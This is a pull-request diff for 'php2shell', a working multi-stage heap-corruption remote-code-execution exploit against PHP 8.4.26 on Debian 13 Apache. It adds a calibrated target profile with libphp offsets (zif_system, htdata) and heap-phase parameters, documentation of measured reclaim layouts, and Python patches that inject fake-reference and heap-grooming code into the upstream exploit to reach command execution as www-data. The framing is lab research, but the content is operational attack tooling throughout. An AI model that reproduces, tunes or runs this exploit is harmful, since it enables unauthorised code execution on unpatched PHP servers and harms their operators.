Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
50 changes: 50 additions & 0 deletions docs/upstream-changes.md
Original file line number Diff line number Diff line change
Expand Up @@ -50,6 +50,56 @@ if not (0x10000 < p < 0x0001000000000000):
These overrides are what let one upstream checkout serve profiles with
different `stage1_n`, forge length and stage-2 parameters.

## 2b. Stage-3 pads override

In `Exploit.__init__`, right after the stage-2 overrides:

```python
pads_env = _os.environ.get("P2S_STAGE3_PADS")
if pads_env:
self.stage3_pads = [tuple(int(x) for x in item.split(":"))
for item in pads_env.split(",") if item]
```

Profiles carry a `stage3_pads` list of `[name_len, value_len]` pairs;
`php2shell_auto.py` serializes it as `a:b,a:b,...` into `P2S_STAGE3_PADS` and
`php2shell_calibrate.py --stage3-pads` accepts an explicit spec of the same
form with repetition factors, e.g. `4:4x5,31:31x6`.

The other stage-3 composition knobs (all optional profile fields, all
environment-driven the same way):

| profile field | env | effect |
| --- | --- | --- |
| `stage3_cookie` | `P2S_STAGE3_COOKIE` | send `Cookie: PHPSESSID=<32 bytes>` on the stage-3 first request |
| `stage3_wfields` | `P2S_STAGE3_WFIELDS` | small fill fields (5-char name, 1-byte value) prepended to request 1 |
| `stage3_fake_len` | `P2S_STAGE3_FAKE_LEN` | byte length of the fake-reference value (replaces the built-in 55-byte ref) |
| `stage3_fakes` | `P2S_STAGE3_FAKES` | number of fake-reference fields in the reclaim run (built-in: 2) |
| `stage3_b_name_len` | `P2S_STAGE3_B_NAME_LEN` | name length of the request-2 fields (built-in: 31) |

Rationale (measured on a source-built Debian 13 amd64 8.4.26 lab, Apache
2.4.69 apxs2, one prefork worker): non-docker builds shift the startup heap,
so every byte of the stage-3 composition is load-bearing. Measured facts:

- The freed session reference lands at `R0 = chunk+0x2260+0x60*K`, linear in
the number K of preceding bin-32 pads (gdb watchpoint sweep 0..16). The two
built-in layouts imply K=6/K=8 and misphase this build; five `(4,4)` pads
(K=5) align the bin-56 reclaim slot so a 31-byte fake reference is written
whole with chars at R0. The built-in 55-byte ref frames the same payload at
R0+8 and never reclaims here, hence `stage3_fake_len`.
- Request 1 carries the PHPSESSID cookie and five 5-char/1-byte fill fields,
request 2 uses 3-char field names (`15x` 167-byte fake hashtables then the
fake references) — both participate in the phase.
- Stages 1-2 dispatch cleanly on every attempt with this build's offsets;
stage 3 is instance-dependent: 4/4 runs on one apache master instance, 0/5+
on others started the same way (matches the 8.4.25 probabilistic precedent
and the known build-to-build lifecycle variance; rotate/restart and retry).
- Proof command runs inside the apache mount namespace (PrivateTmp): read it
out-of-band (`nsenter -t <pid> -m -- cat /tmp/p9b`), the dispatcher reports
the run as blind on such targets.

See `profiles/php-8.4.26-deb13-apxs2-amd64.json`.

## 3. Optional `noexpose` profile

For `expose_php=Off` research, the stage-1 bookworm parameters are combined with
Expand Down
57 changes: 57 additions & 0 deletions profiles/php-8.4.26-deb13-apxs2-amd64.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,57 @@
{
"name": "php-8.4.26-deb13-apxs2-amd64",
"php_version": "8.4.26",
"branch": "8.4",
"fixed_in": "8.4.27",
"sapi": "apache2handler",
"verified": true,
"rce": true,
"upstream_profile": "lab",
"libphp": {
"zif_system": "0x3b19a0",
"zval_ptr_dtor": "0x584f00",
"htdata": "0x6e0d8"
},
"stages": {
"stage1_n": 892,
"stage1_forge_len": 79,
"stage2_t": 442,
"stage2_v": 1,
"stage3_pads": [
[4, 4],
[4, 4],
[4, 4],
[4, 4],
[4, 4],
[31, 31],
[31, 31],
[31, 31],
[31, 31],
[31, 31],
[31, 31]
],
"stage3_carrier": true,
"stage3_cookie": true,
"stage3_wfields": 5,
"stage3_fake_len": 31,
"stage3_fakes": 12,
"stage3_b_name_len": 3
},
"config": {
"memory_limit": 8388608,
"display_errors": "On (vhost php.ini, leak delivered in Set-Cookie)",
"session_upload_progress": "On",
"workers": 1
},
"measured": {
"chunk_base": "0x7fbcf4200000"
},
"status": "RCE verified on a source-built Debian 13 lab (apxs2, Apache 2.4.69 prefork, 1 worker): uid=33(www-data) 4/4 runs through the vendor engine with this profile's parameters; stages 1-2 dispatch cleanly on every attempt. Stage-3 phase is instance-dependent (after an apache restart, a fresh master may not reclaim; retry on a new instance) and the layout differs from the docker 8.4.26 image (different toolchain): third stage-3 layout with a K=5 bin-32 phase shift. Each (4,4) pad allocates the session reference at the k-th bin-32 slot, shifting the fake-reference slot linearly, R0 = chunk+0x2260+0x60*K (gdb watchpoint sweep 0..16); K=5 places the bin-56 reclaim slot so the 31-byte fake reference is written whole (chars at R0, framing differs from the upstream 55-byte carrier whose chars land at R0+8). Stage-3 request 1 carries a PHPSESSID cookie and five 5-char/1-byte fill fields; request 2 reclaims with 15x 167-byte fake hashtables then 12x 31-byte fake references, all with 3-char field names. Command proof read out-of-band from /tmp inside the apache mount namespace (PrivateTmp; nsenter).",
"oom_mb": 12,
"oom_margin_mb": 12,
"memory_limit_tested_mb": [
8
],
"distro": "debian",
"arch": "amd64"
}
24 changes: 24 additions & 0 deletions profiles/schema.json
Original file line number Diff line number Diff line change
Expand Up @@ -148,6 +148,30 @@
"null"
],
"description": "Whether the 167-byte carrier string is used. Null when stage 3 is not calibrated."
},
"stage3_cookie": {
"type": "boolean",
"description": "Send Cookie: PHPSESSID=<32 bytes> on the stage-3 first request (keeps PS(id) valid and participates in the heap phase on some builds)."
},
"stage3_wfields": {
"type": "integer",
"minimum": 0,
"description": "Small fill fields (5-char name, 1-byte value) prepended to the stage-3 first request."
},
"stage3_fake_len": {
"type": "integer",
"minimum": 24,
"description": "Byte length of the fake-reference zend_string value (31 = chars land at R0 on the deb13-apxs2 build; upstream default 55 = chars at R0+8)."
},
"stage3_fakes": {
"type": "integer",
"minimum": 1,
"description": "Number of fake-reference fields in the stage-3 reclaim run."
},
"stage3_b_name_len": {
"type": "integer",
"minimum": 1,
"description": "Name length of the stage-3 second-request fields (3-char names shift the reclaim phase versus 31-char names)."
}
},
"additionalProperties": false
Expand Down
12 changes: 12 additions & 0 deletions tools/php2shell_auto.py
Original file line number Diff line number Diff line change
Expand Up @@ -485,6 +485,18 @@ def run_upstream(args, profile, proof, huge_mb, ui: UI, stream: bool = True) ->
("stage2_v", "P2S_STAGE2_V")):
if stages.get(key) is not None:
env[env_key] = str(stages[key])
pads = stages.get("stage3_pads")
if pads:
env["P2S_STAGE3_PADS"] = ",".join(f"{a}:{b}" for a, b in pads)
stage3_cookie = stages.get("stage3_cookie")
if stage3_cookie is not None:
env["P2S_STAGE3_COOKIE"] = "1" if stage3_cookie else "0"
for key, env_key in (("stage3_wfields", "P2S_STAGE3_WFIELDS"),
("stage3_fake_len", "P2S_STAGE3_FAKE_LEN"),
("stage3_fakes", "P2S_STAGE3_FAKES"),
("stage3_b_name_len", "P2S_STAGE3_B_NAME_LEN")):
if stages.get(key) is not None:
env[env_key] = str(stages[key])

if not stream:
result = subprocess.run(cmd, capture_output=True, text=True, env=env)
Expand Down
39 changes: 34 additions & 5 deletions tools/php2shell_calibrate.py
Original file line number Diff line number Diff line change
Expand Up @@ -267,12 +267,37 @@ def calibrate_stage2(mod, ex, dtor, hints):
return 0, hints.get("stage2_t", 0)


def parse_pads(spec):
"""Accepts bookworm | lab | an explicit pads spec like '4:4x5,31:31x6'."""
if spec is None or spec in ("bookworm", "lab"):
return spec
pads = []
for part in spec.split(","):
m = re.fullmatch(r"(\d+):(\d+)(?:x(\d+))?", part.strip())
if not m:
raise SystemExit(f"bad --stage3-pads item: {part!r} (expected a:bxN)")
pads += [(int(m[1]), int(m[2]))] * int(m[3] or 1)
return pads


def stage3_profile_json(stage3):
"""(stage3_pads, stage3_carrier) pair for the profile JSON."""
if not stage3:
return None, None
pads = stage3["pads"]
if pads == "lab":
return [[8, 7]] + [[7, 7]] * 5, False
if isinstance(pads, list):
return [list(p) for p in pads], True
return [[31, 31]] * 6, True


def calibrate_stage3(mod, ex, chunk, lib, zif, proof, hints):
if not chunk or not lib:
return False, None
layouts = []
if hints.get("stage3_htdata"):
layouts.append(("hint", hints["stage3_htdata"], hints.get("stage3_pads", "bookworm")))
layouts.append(("hint", hints["stage3_htdata"], parse_pads(hints.get("stage3_pads"))))
else:
for off in (0x690D8, 0x6E0D8, 0x5404A):
for pads in ("bookworm", "lab"):
Expand All @@ -286,6 +311,9 @@ def calibrate_stage3(mod, ex, chunk, lib, zif, proof, hints):
if pads == "lab":
ex.stage3_carrier = False
ex.stage3_pads = [(8, 7)] + [(7, 7)] * 5
elif isinstance(pads, list):
ex.stage3_carrier = True
ex.stage3_pads = pads
else:
ex.stage3_carrier = True
ex.stage3_pads = [(31, 31)] * 6
Expand Down Expand Up @@ -323,7 +351,8 @@ def main() -> int:
ap.add_argument("--stage2-t", type=int)
ap.add_argument("--stage2-v", type=int, default=16)
ap.add_argument("--stage3-htdata", type=lambda x: int(x, 0))
ap.add_argument("--stage3-pads", choices=("bookworm", "lab"))
ap.add_argument("--stage3-pads", default=None,
help='bookworm, lab, or explicit pads spec: "4:4x5,31:31x6"')
ap.add_argument("--distro", default="unknown")
ap.add_argument("--arch", choices=("aarch64", "amd64"), default=None)
args = ap.parse_args()
Expand Down Expand Up @@ -369,6 +398,7 @@ def main() -> int:
rce, stage3 = calibrate_stage3(mod, ex, chunk, lib, sym["zif_system"],
args.proof_file, vars(args))

s3_pads, s3_carrier = stage3_profile_json(stage3)
profile = {
"name": f"php-{version}-{args.distro}",
"php_version": version,
Expand All @@ -391,9 +421,8 @@ def main() -> int:
"stage1_forge_len": forge_len,
"stage2_t": t_index,
"stage2_v": args.stage2_v,
"stage3_pads": ([[31, 31]] * 6 if stage3 and stage3["pads"] == "bookworm"
else ([(8, 7)] + [(7, 7)] * 5 if stage3 else None)),
"stage3_carrier": (stage3["pads"] == "bookworm") if stage3 else None,
"stage3_pads": s3_pads,
"stage3_carrier": s3_carrier,
},
"config": cfg,
"measured": {
Expand Down
84 changes: 66 additions & 18 deletions tools/php2shell_upstream.py
Original file line number Diff line number Diff line change
Expand Up @@ -22,29 +22,77 @@ def _read(repo: str) -> tuple[str, str] | None:


def patch_params(repo: str) -> bool:
"""Inject P2S_STAGE1_N / P2S_FORGE_LEN / P2S_STAGE2_T / P2S_STAGE2_V."""
"""Inject P2S_STAGE1_N / P2S_FORGE_LEN / P2S_STAGE2_T / P2S_STAGE2_V / P2S_STAGE3_*."""
found = _read(repo)
if not found:
return False
path, source = found
knobs_block = (
" # P2S_STAGE3_KNOBS\n"
" pads_env = _os.environ.get('P2S_STAGE3_PADS')\n"
" if pads_env:\n"
" self.stage3_pads = [tuple(int(x) for x in item.split(':'))\n"
" for item in pads_env.split(',') if item]\n"
" self._p2s_cookie = _os.environ.get('P2S_STAGE3_COOKIE') == '1'\n"
" self._p2s_wfields = int(_os.environ.get('P2S_STAGE3_WFIELDS', '0') or 0)\n"
" self._p2s_fake_len = int(_os.environ.get('P2S_STAGE3_FAKE_LEN', '0') or 0)\n"
" self._p2s_fakes = int(_os.environ.get('P2S_STAGE3_FAKES', '0') or 0)\n"
" self._p2s_b_name_len = int(_os.environ.get('P2S_STAGE3_B_NAME_LEN', '0') or 0)\n")
if "P2S_STAGE1_N" in source:
return False
anchor = " self.stage3_carrier = False\n"
if anchor not in source:
return False
inject = anchor + (
" import os as _os\n"
" self.stage1_n = int(_os.environ.get('P2S_STAGE1_N', self.stage1_n))\n"
" self.stage1_forge_len = int(_os.environ.get('P2S_FORGE_LEN', 79))\n"
" self.stage2_t = int(_os.environ.get('P2S_STAGE2_T', self.stage2_t))\n"
" self.stage2_v = int(_os.environ.get('P2S_STAGE2_V', self.stage2_v))\n")
source = source.replace(anchor, inject, 1)
source = source.replace('forge = bytearray(b"A" * 79)',
'forge = bytearray(b"A" * self.stage1_forge_len)')
source = source.replace('if 0x7F0000000000 <= v < 0x800000000000:',
'if 0x10000 < v < 0x0001000000000000:')
source = source.replace('if not (0x7F0000000000 <= p < 0x800000000000):',
'if not (0x10000 < p < 0x0001000000000000):')
if "P2S_STAGE3_KNOBS" in source:
return False
anchor = " self.stage2_v = int(_os.environ.get('P2S_STAGE2_V', self.stage2_v))\n"
if anchor not in source:
return False
source = source.replace(anchor, anchor + knobs_block, 1)
else:
anchor = " self.stage3_carrier = False\n"
if anchor not in source:
return False
inject = anchor + (
" import os as _os\n"
" self.stage1_n = int(_os.environ.get('P2S_STAGE1_N', self.stage1_n))\n"
" self.stage1_forge_len = int(_os.environ.get('P2S_FORGE_LEN', 79))\n"
" self.stage2_t = int(_os.environ.get('P2S_STAGE2_T', self.stage2_t))\n"
" self.stage2_v = int(_os.environ.get('P2S_STAGE2_V', self.stage2_v))\n"
+ knobs_block)
source = source.replace(anchor, inject, 1)
source = source.replace('forge = bytearray(b"A" * 79)',
'forge = bytearray(b"A" * self.stage1_forge_len)')
source = source.replace('if 0x7F0000000000 <= v < 0x800000000000:',
'if 0x10000 < v < 0x0001000000000000:')
source = source.replace('if not (0x7F0000000000 <= p < 0x800000000000):',
'if not (0x10000 < p < 0x0001000000000000):')
# stage-3 composition knobs (measured per build; see docs/upstream-changes.md 2b)
stage3_patches = [
(" parts += [self._file_part(), self._big_field()]",
" for wi in range(getattr(self, '_p2s_wfields', 0) or 0):\n"
" parts.append({\"name\": \"s%04d\" % wi, \"data\": b\"w\"})\n"
" parts += [self._file_part(), self._big_field()]"),
('if self.profile == "bookworm":',
'if self.profile == "bookworm" or getattr(self, "_p2s_cookie", False):'),
("else:\n"
" for i in range(15):\n"
" parts.append({\"name\": f\"a{i:030d}\"[:31], \"data\": ht})\n"
" for i in range(2):\n"
" parts.append({\"name\": f\"f{i:02d}\", \"data\": ref})",
"else:\n"
" bnl = getattr(self, '_p2s_b_name_len', 0) or 31\n"
" for i in range(15):\n"
" parts.append({\"name\": f\"a{i:030d}\"[:bnl], \"data\": ht})\n"
" flen = getattr(self, '_p2s_fake_len', 0) or 0\n"
" nfakes = getattr(self, '_p2s_fakes', 0) or 2\n"
" if flen:\n"
" fake = (struct.pack(\"<II\", 1, 0x1A) + struct.pack(\"<Q\", htdata)\n"
" + struct.pack(\"<II\", 0x307, 0) + b\"F\" * (flen - 24))\n"
" else:\n"
" fake = ref\n"
" for i in range(nfakes):\n"
" parts.append({\"name\": f\"f{i:02d}\", \"data\": fake})"),
]
for old, new in stage3_patches:
if old in source:
source = source.replace(old, new, 1)
with open(path, "w", encoding="utf-8") as fh:
fh.write(source)
return True
Expand Down